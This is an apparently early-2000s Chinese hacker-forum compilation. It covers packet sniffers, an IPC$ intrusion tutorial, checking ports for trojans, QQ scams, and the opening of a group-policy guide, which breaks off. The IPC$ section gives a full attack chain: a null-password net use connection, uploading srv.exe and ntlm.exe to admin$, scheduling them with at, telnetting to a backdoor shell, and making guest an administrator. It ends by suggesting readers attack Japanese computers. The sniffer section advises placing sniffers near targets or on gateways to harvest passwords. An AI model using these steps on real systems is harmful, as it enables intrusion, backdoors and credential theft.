通常在同一个网段的所有网络接口都有访问在物理媒体上传输的所有数据的能力,而每个网络接口都还应该有一个硬件地址,该硬件地址不同于网络中存在的其他网络接口的硬件地址,同时,每个网络至少还要一个广播地址。(代表所有的接口地址),在正常情况下,一个合法的网络接口应该只响应这样的两种数据帧:

1、帧的目标区域具有和本地网络接口相匹配的硬件地址。

2、帧的目标区域具有"广播地址"。

在接受到上面两种情况的数据包时,nc通过cpu产生一个硬件中断,该中断能引起操作系统注意,然后将帧中所包含的数据传送给系统进一步处理。

而sniffer就是一种能将本地nc状态设成(promiscuous)状态的软件,当nc处于这种"混杂"方式时,该nc具备"广播地址",它对所有遭遇到的每一个帧都产生一个硬件中断以便提醒操作系统处理流经该物理媒体上的每一个报文包。(绝大多数的nc具备置成 promiscuous方式的能力)

可见,sniffer工作在网络环境中的底层,它会拦截所有的正在网络上传送的数据,并且通过相应的软件处理,可以实时分析这些数据的内容,进而分析所处的网络状态和整体布局。值得注意的是:sniffer是极其安静的,它是一种消极的安全攻击。

通常sniffer所要关心的内容可以分成这样几类:

1、口令

我想这是绝大多数非法使用sniffer的理由,sniffer可以记录到明文传送的userid和passwd.就算你在网络传送过程中使用了加密的数据,sniffer记录的数据一样有可能使入侵者在家里边吃肉串边想办法算出你的算法。

2、金融帐号

许多用户很放心在网上使用自己的信用卡或现金帐号,然而sniffer可以很轻松截获在网上传送的用户姓名、口令、信用卡号码、截止日期、帐号和pin.

3、偷窥机密或敏感的信息数据

通过拦截数据包,入侵者可以很方便记录别人之间敏感的信息传送,或者干脆拦截整个的email会话过程。

4、窥探低级的协议信息。

这是很可怕的事,我认为,通过对底层的信息协议记录,比如记录两台主机之间的网络接口地址、远程网络接口ip地址、ip路由信息和tcp连接的字节顺序号码等。这些信息由非法入侵的人掌握后将对网络安全构成极大的危害,通常有人用sniffer收集这些信息只有一个原因:他正在进行一次欺诈,(通常的ip地址欺诈就要求你准确插入tcp连接的字节顺序号,这将在以后整理的文章中指出)如果某人很关心这个问题,那么sniffer对他来说只是前奏,今后的问题要大得多。(对于高级的hacker而言,我想这是使用sniffer的唯一理由吧)

二.sniffer的工作环境

snifffer就是能够捕获网络报文的设备。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。例如,假设网络的某一段运行得不是很好,报文的发送比较慢,而我们又不知道问题出在什么地方,此时就可以用嗅探器来作出精确的问题判断。

嗅探器在功能和设计方面有很多不同。有些只能分析一种协议,而另一些可能能够分析几百种协议。一般情况下,大多数的嗅探器至少能够分析下面的协议:

1.标准以太网

2.TCP/IP

3.IPX

4.DECNet

嗅探器通常是软硬件的结合。专用的嗅探器价格非常昂贵。另一方面,免费的嗅探器虽然不需要花什么钱,但得不到什么支持。

嗅探器与一般的键盘捕获程序不同。键盘捕获程序捕获在终端上输入的键值,而嗅探器则捕获真实的网络报文。嗅探器通过将其置身于网络接口来达到这个目的——例如将以太网卡设置成杂收模式。(为了理解杂收模式是怎么回事,先解释局域网是怎么工作的)。

数据在网络上是以很小的称为帧(Ftame)的单位传输的帧由好几部分组成,不同的部分执行不同的功能。(例如,以太网的前12个字节存放的是源和目的的地址,这些位告诉网络:数据的来源和去处。以太网帧的其他部分存放实际的用户数据、TCP/IP的报文头或IPX报文头等等)。

帧通过特定的称为网络驱动程序的软件进行成型,然后通过网卡发送到网线上。通过网线到达它们的目的机器,在目的机器的一端执行相反的过程。接收端机器的以太网卡捕获到这些帧,并告诉操作系统帧的到达,然后对其进行存储。就是在这个传输和接收的过程中,嗅探器会造成安全方面的问题。

每一个在LAN上的工作站都有其硬件地址。这些地址唯一地表示着网络上的机器(这一点于Internet地址系统比较相似)。当用户发送一个报文时,这些报文就会发送到LAN上所有可用的机器。

在一般情况下,网络上所有的机器都可以“听”到通过的流量,但对不属于自己的报文则不予响应(换句话说,工作站A不会捕获属于工作站B的数据,而是简单的忽略这些数据)。

如果某在工作站的网络接口处于杂收模式,那么它就可以捕获网络上所有的报文和帧,如果一个工作站被配置成这样的方式,它(包括其软件)就是一个嗅探器。

嗅探器可能造成的危害:

1.嗅探器能够捕获口令

2.能够捕获专用的或者机密的信息

3.可以用来危害网络邻居的安全,或者用来获取更高级别的访问权限

事实上,如果你在网络上存在非授权的嗅探器就以为着你的系统已经暴露在别人面前了。(大家可以试试天行2的嗅探功能)

一般我们只嗅探每个报文的前200到300个字节。用户名和口令都包含在这一部分中,这是我们关心的真正部分。工人,也可以嗅探给定接口上的所有报文,如果有足够的空间进行存储,有足够的那里进行处理的话,将会发现另一些非常有趣的东西……

简单的放置一个嗅探器宾将其放到随便什么地方将不会起到什么作用。将嗅探器放置于被攻击机器或网络附近,这样将捕获到很多口令,还有一个比较好的方法就是放在网关上。如果这样的话就能捕获网络和其他网络进行身份鉴别的过程。这样的方式将成倍地增加我们能够攻击的范围。

三.谁会使用sniffers

可能谁都回知道谁会使用sniffer,但是并不是每个使用它的人都是网络高手,因为现在有很多的sniffer都成了傻瓜似的了,前段时间用的最多的不外乎oicq sniffer。我想那些喜欢查好友ip的朋友都应该记得它吧。呵呵,我都使用过它,现在当然不用了啊!

当然系统管理员使用sniffer来分析网络信息交通并且找出网络上何处发生问题。一个安全管理员可以同时用多种sniffer, 将它们放置在网络的各处,形成一个入侵警报系统。对于系统管理员来说sniffer是一个非常好的工具,但是它同样是一个经常被黑客使用的工具.骇客安装sniffer以获得用户名和账号,信用卡号码,个人信息,和其他的信息可以导致对你或是你的公司的极大危害如果向坏的方面发展。当它们得到这些信息后,骇客将使用密码来进攻其他的internet 站点甚至倒卖信用卡号码。

返回顶部

一份详尽的IPC$入侵资料

[ccbirds入门级教程]--各个击破1--ipc$入侵

一 唠叨一下:
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)


五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


六 如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。


七 如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5设置复杂密码,防止通过ipc$穷举密码


(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net/)


八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认


九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活

11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)


十 总结:
关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论.
最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)

返回顶部


管理本机端口 防范木马程序

作者:网涯无间


木马是一种带有恶意性质的远程控制软件,木马一般分为客户端(Client)和服务器端(Server),客户端就是本地使用的各种命令的控制台,服务器端则是给别人运行,只有运行过服务器端的计算机才能够完全受控。

当前最为常见的木马通常是基于TCP/UDP协议进行client端与server端之间的通讯的,既然利用到这两个协议,就不可避免要在server端(就是被种了木马的机器了)打开监听端口来等待连接。例如鼎鼎大名的冰河使用的监听端口是7626,Back Orifice 2000则是使用54320等等。那么,我们可以利用查看本机开放端口的方法来检查自己是否被种了木马或其它hacker程序。以下是详细方法介绍。

1. Windows本身自带的netstat命令

Netstat显示协议统计和当前的 TCP/IP 网络连接。该命令只有在安装了 TCP/IP 协议后才可以使用。

netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]

参数

-a

显示所有连接和侦听端口。服务器连接通常不显示。

-e

显示以太网统计。该参数可以与 -s 选项结合使用。

-n

以数字格式显示地址和端口号(而不是尝试查找名称)。

-s

显示每个协议的统计。默认情况下,显示 TCP、UDP、ICMP 和 IP 的统计。-p 选项可以用来指定默认的子集。

-p protocol

显示由 protocol 指定的协议的连接;protocol 可以是 tcp 或 udp。如果与 -s 选项一同使用显示每个协议的统计,protocol 可以是 tcp、udp、icmp 或 ip。

-r

显示路由表的内容。

interval

重新显示所选的统计,在每次显示之间暂停 interval 秒。按 CTRL+B 停止重新显示统计。如果省略该参数,netstat 将打印一次当前的配置信息。

现在,我们掌握netstat命令的使用方法了,下面就让我们现学现用,用这个命令看一下自己的机器开放的端口。进入到命令行下,使用netstat命令的a和n两个参数:

C:\>netstat -a -n

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7626 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 0.0.0.0:0
UDP 0.0.0.0:1046 0.0.0.0:0
UDP 0.0.0.0:1047 0.0.0.0:0

解释一下,Active Connections是指当前本机活动连接,Proto是指连接使用的协议名称,Local Address是本地计算机的 IP 地址和连接正在使用的端口号,Foreign Address是连接该端口的远程计算机的 IP 地址和端口号,State则是表明TCP 连接的状态,你可以看到后面三行的监听端口是UDP协议的,所以没有State表示的状态。通过以上可以看出该机器的7626端口已经开放,正在监听等待连接,像这样的情况极有可能是已经感染了冰河!所以应该急忙断开网络,并用杀毒软件查杀病毒。

2.工作在windows2000下的命令行工具fport

使用windows2000的朋友要比使用windows9X的幸运一些,因为可以使用fport这个程序来显示本机开放端口与进程的对应关系。

Fport是FoundStone出品的一个用来列出系统中所有打开的TCP/IP和UDP端口,以及它们对应应用程序的完整路径、PID标识、进程名称等信息的软件。在命令行下使用,请看例子:

D:\>fport.exe
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com/

Pid Process Port Proto Path
748 tcpsvcs -> 7 TCP C:\WINNT\System32\ tcpsvcs.exe
748 tcpsvcs -> 9 TCP C:\WINNT\System32\tcpsvcs.exe
748 tcpsvcs -> 19 TCP C:\WINNT\System32\tcpsvcs.exe
416 svchost -> 135 TCP C:\WINNT\system32\svchost.exe

是不是一目了然了。这下,各个端口究竟是什么程序打开的就都在你眼皮底下了。如果发现有某个可疑程序打开了某个可疑端口,可千万不要大意哦,也许那就是一只狡猾的木马!

Fport的最新版本是2.0。在很多网站都提供下载,但是为了安全起见,当然最好还是到它的老家去下:http://www.foundstone.com/knowledge/zips/fport.zip

3.与Fport功能类似的图形化界面工具Active Ports

Active Ports为SmartLine出品,你可以用来监视电脑所有打开的TCP/IP/UDP端口,不但可以将你所有的端口显示出来,还显示所有端口所对应的程序所在的路径,本地IP和远端IP(试图连接你的电脑IP)是否正在活动。

更棒的是,它还提供了一个关闭端口的功能,在你用它发现木马开放的端口时,可以立即将端口关闭。这个软件工作在Windows NT/2000/XP平台下。你可以在http://www.smartline.ru/software/aports.zip得到它。

其实使用windows xp的用户无须借助其它软件即可以得到端口与进程的对应关系,因为windows xp所带的netstat命令比以前的版本多了一个O参数,使用这个参数就可以得出端口与进程的对应来。

上面介绍了几种查看本机开放端口,以及端口和进程对应关系的方法,通过这些方法可以轻松的发现基于TCP/UDP协议的木马,希望能给你的爱机带来帮助。但是对木马重在防范,而且如果碰上反弹端口木马,利用驱动程序及动态链接库技术制作的新木马时,以上这些方法就很难查出木马的痕迹了。所以我们一定要养成良好的上网习惯,不要随意运行邮件中的附件,安装一套杀毒软件,像国内的瑞星就是个查杀病毒和木马的好帮手。从网上下载的软件先用杀毒软件检查一遍再使用,在上网时打开网络防火墙和病毒实时监控,保护自己的机器不被可恨的木马入侵。

返回顶部

揭秘:QQ网络聊天五大陷阱

作者:任我小行

QQ是目前最流行的IM通讯工具之一,基本上占据着IM 通讯工具的龙头老大位置,为什么那么大魅力?因为它藏身于网络的虚拟世界时,犹如沙漠里的空中楼阁、海市蜃楼。它带给人们一种幻想的美丽,一种欲望的追求,一种镜花水月的飘渺。现实生活中的人们每天对着各种来自生活、工作的许多压力,QQ这个游荡在网络世界的精灵抓住了人类的这个弱点,对着世人呼唤:“这里的世界很精彩,让你忘了烦恼忘了忧!”当然为什么这么多用QQ的,那就是中国人有先入为主的思想 。所以大家都习惯用这个工具。但是现在这么好的联络感情工具QQ被弄了太多太多的陷阱,很伤广大用户的纯真的心,存在的一些隐患实在是太多太多,QQ的陷阱稍不小心,你就会被陷进去。

一.QQ绑定手机的消费陷阱

欺骗度:◎◎◎
上当郁闷度:◎◎◎◎◎◎◎

腾讯QQ为了方便广大会员聊天,推出了QQ与手机绑定的举措,并向大家承诺,是免费的绑定,但这个免费的绑定,不代表别的免费,在腾讯主页里有个高级交友功能,如果你那天不小心,进去了,那么他们就会默认为你接受了高级交友功能,而高级交友功能是每个月10元的,于是你每个月的话费就会神不知,鬼不觉的消失掉10元,到你发现的时候,至少也得在下个月你查花费的时候,而这个时候肯定的你至少已经损失了10元白花花的银子了。

张同学平时就喜欢聊QQ,经常上网和同学,朋友联络感情,这还嫌不够,还要发发短信,聊天,因为小张用的是动感地带卡,每个月只是10租金,并赠送300条短信,每个月话费也就没几个钱,但最近一俩个月,小张总是感觉,自己的话费不对劲,明明自己每个月没打那么多的电话,但电话费却是被多扣了10元钱,,小张上个月一个电话没往外打,只是接电话和发短信了,而他们在校园内接是不要钱的,同学叫他去查下花费详单,他去一查,赫然的详单里多了个号码:
1392885***0
对方号码:1700
移动话费:10.00
1700小张知道是腾讯的服务号,可是自己一没办QQ会员,二没买QB ,怎么就给多收了10元呢?于是就打1860询问,确认是腾讯的业务,问了腾讯客服号,又打到那里,被告知,自己开通了QQ的高级交友功能,小张当时是一头雾水mailto:#%@^^&&^。问:“就算我开通,你们也得经过我得同意或者短信认证的方式吧!”腾讯小姐:“如果QQ号码和手机是绑定的,是不需要认证的。如果要取消,编辑短信Love#t到1700。”明显的就是个陷阱,先以免费绑定为由,先骗你绑定,只要一绑定,那么以后稍不小心,就会被任做默认了什么服务,于是就自动扣了你的钱了,在商品时代,花钱消费就应该得到相应的服务或商品,可是当小张知道他都消费两个月的时候,而自己却一次也没有使用什么**高级功能,20块花的真冤。为了弄清楚整个事情,小张上tencent.com发现有一个关于QQ交友的登陆框,见图(1)。


图(1)

面对着美女帅哥,诱惑力是不是很大,原来就是在这里掉进了陷阱。身边的朋友,如果你的QQ和手机绑定了,而你又不想开通每月10块的高级交友功能,请不要轻易去登陆。因为你这样一登陆,不经任何提示,你就每月得交钱。我们的手机号码,交了月租,交了服务费,所有相关得活动就应该是处于主动地位的。而如果腾讯那么多的用户,每天都很多的发生这样的事情,仔细算下这笔账,腾讯赚的可不是一个小数目,QQ的用户可是便布全国的。针对移动为其他一些服务公司代收费的做法,对它的合理性我表示怀疑。

二、网页陷阱

欺骗度:◎◎◎◎
上当郁闷度:◎◎◎◎

1,某日,QQ好友发来一条信息:“好看的电视屏快去看吧!~~~”,见图(2)。


图(2)


由于是好友QQ发过来且网址又是国际域名,我不假思索就点开了这个网站,屏幕上立刻出现一个风格和背景都和QQ服务网站十分相近的站点,首页是输入QQ号码就可以拿Q币的表栏,正觉得不妙的时候,常驻系统的木马克星已经被这个网页带的木马强行关闭!接着我的防火墙报告截获该网页的2个传奇木马,该木马可以在局域网内交叉感染,既窃取密码又将大大降低统速度。怎么样?很难防备,陷阱多的多。

2,“去http://www.xxxx.com/吧!里面有我的照片,想交朋友吗?快去看看吧!”,类似的病毒大家肯定都碰到过,一旦沾染上,很是麻烦的!

3,“歌曲全部都是最新的,你要是无聊的话去听听”这样的诱惑性信息,是不是经常当你你和朋友聊天的时候,发过来,而其实朋友却还没有发。

4,更厉害的一钟可以化身为文件,假装为好友传给你的,很难分辨真伪。见图(3)


图(3)

点评:碰到好友发过来的网址,要先问一下好友,确认是他发过来的后再点击,这样就基本上过滤掉很多陷阱了,遇到上面说的情况,见到类似的站点,千万不要点击,信息发来的链接:http://www.***.com/网站。

这样可以有效的避免进入一些陷阱。目前由于使用QQ的人数已经达到了接近一亿的水平,开始有越来越多的人利用QQ的普遍性传染病毒或者恶意代码等等。最近国内某杀毒软件官方网站宣布查获一种利用QQ信息引诱网友浏览带有恶意代码网页并导致损害的“爱情森林”病毒(trojan.sckiss)。爱情森林”病毒的制作者利用QQ聊天机制,向用户发送“http://sckiss.yeah.net/ 这个你去看看!很好看”的信息。如果用户收到此信息,并点击该链接,则会进入一个包含恶性攻击代码的恶意网页,此时病毒将会被自动下载并发作。同时,病毒还会用用户的QQ好友名单,继续向外扩散。

该恶意网页用JS脚本语言编写,利用了JAVA EXPLOIT漏洞,所以不经用户的允许,便可以悄悄自动下载“爱情森林”病毒并执行。而后此恶意网页会修改用户注册表以进行破坏,并将用户的IE标题和IE默认首页改为:http://sckiss.yeah.net/爱情森林。同时使用户的“运行”菜单项无法使用,并将这个网址也加入注册表中的RUN自启动项。
“爱情森林”专杀工具下载:http://down.it168.com/08/0804/8853/8853_3.shtml

三.点击送Q币陷阱

欺骗度:◎◎◎◎◎
上当郁闷度:◎

某些网站利用假装派送Q币来骗取点击率的事件十分的多。登陆这些网站后,他们先会要求你填写你的QQ号码和希望得到Q币数目(为了提高可信度,一般他们还会限定在50个以内),然后网页会生成一个“该网站名称+你的QQ号码”的网址,把这个网址发给你一定数量的网友,每当有一定数量的人点击系统就会送你一个Q币,结果许多网友大上其当。
其实分析一下就明白了,换IP刷网站点击量的方法多的是,要是让人来回刷上几下就可以轻松得到QB 的话,那么腾讯还做不做生意啊?所以这种所谓点击送Q币是信不得的。

点评:坦白说,这类陷阱对用户并没有什么伤害,它只是想增加网站的访问量,但这种行为让人感觉比较可气。

四.QQ中奖

欺骗度:◎
上当郁闷度:◎◎◎◎◎◎

我的网友“飘”这样诉说她上当受骗的经历:在QQ游戏里有人以管理员的名义发信息给他,结果她的QQ密码被对方所要去了,由于没有申请木马保护,至今他的QQ号还要不回来。笔者进入QQ游戏后转了1个多小时,果然也有人给自己发信息,并向自己锁要QQ密码,说为了以后登陆QQ游戏可以享受什么优惠功能。

点评:这事比较典型的QQ信息骗子,他将自己的昵称改为腾讯系统广播的号码10000,同时本身的QQ号码的前五位居然也是10000,并且他还在信息开头把自己的QQ号码改成10000,这就更容易让人上当了,而一旦把自己的号码和木马发给这个所谓的管理员兑奖,结果无疑只有一个,那就是QQ上的财物连同号码被骗子洗劫一空。这个大家要记主,不要轻易相信天上掉饼的事情。

五.送QQ号的陷阱!

欺骗度:◎
上当郁闷度:◎

网络上经常出现与腾讯主页极为类似的网站http://www.xxxx.com/,宣称免费赠送大批6位QQ号
码。很多人并没有注意到这个是.cc域名,而不是腾讯.com,所以毫不犹豫地点击进入,所幸网站并无恶意代码。只是骗你点击而已,但我们又那有那么多时间浪费到这上啊!为什么我们会轻易掉入这个陷阱呢?因为我们一般的看到那所谓的6位QQ号的吸引,于是就会点击他们给的链接(一种被嘲弄的点击)。

原理和道理都很简单,他们的目的就是赚取你对他域名的点击率从而提高网站域名的世界排名。
以http://www.qqb.cc/为例,相信有很多朋友帮自己的朋友点击过了的。这是他们放出来的广告链接之一:
http://www.QQb.cc/Q.htm?QQ=251192

总之一切只要大家细心,遇到类似问题多怀疑一下,那么我们就会很明显的戳穿骗子的嘴脸,从而保护好自己的安全!

返回顶部

使用组策略保障本机安全

作者:beijing转转


在公司如何保证自己计算机的安全呢?也许你自己懂得防范方法,但是经常有人随便使用你的计算机登录系统进行操作,恐怕你的计算机就危险了。也许有的读者会问:“自己的计算机自己修改密码不就完了,不知道密码无法登录,这样计算机就安全多了。”不过如果你的公司使用了带域的网络的话,所有计算机都加入了域。只要拥有域帐户的用户都可以在任何一台计算机上登录。即使你修改了自己帐户的密码,其他人依然可以使用各自的域帐户进入系统桌面。遇到这种情况我们如何做到独机独用呢?这就要靠系统的组策略发挥威力了。

一,什么是组策略:

说到组策略,就不得不提注册表。注册表是Windows系统中保存系统、应用软件配置的数据库,随着Windows功能的越来越丰富,注册表里的配置项目也越来越多。很多配置都是 可以自定义设置的,但这些配置发布在注册表的各个角落,如果是手工配置,可想是多么困难和烦杂。而组策略则将系统重要的配置功能汇集成各种配置模块,供管理人员直接使用,从而达到方便管理计算机的目的。

简单点说,修改组策略就是修改注册表中的配置。当然组策略使用更完善的管理组织方法,可以对各种对象中的设置进行管理和配置,远比手工修改注册表方便、灵活,功能也更加强大。通过组策略修改系统参数更加直观,灵活。

我们通过桌面的“开始->运行->输入GPEDIT.MSC”回车后进入组策略编辑器,在组策略编辑器中我们可以设置各项系统参数。(如图1)


图-1


二,使用组策略保证独机独享:

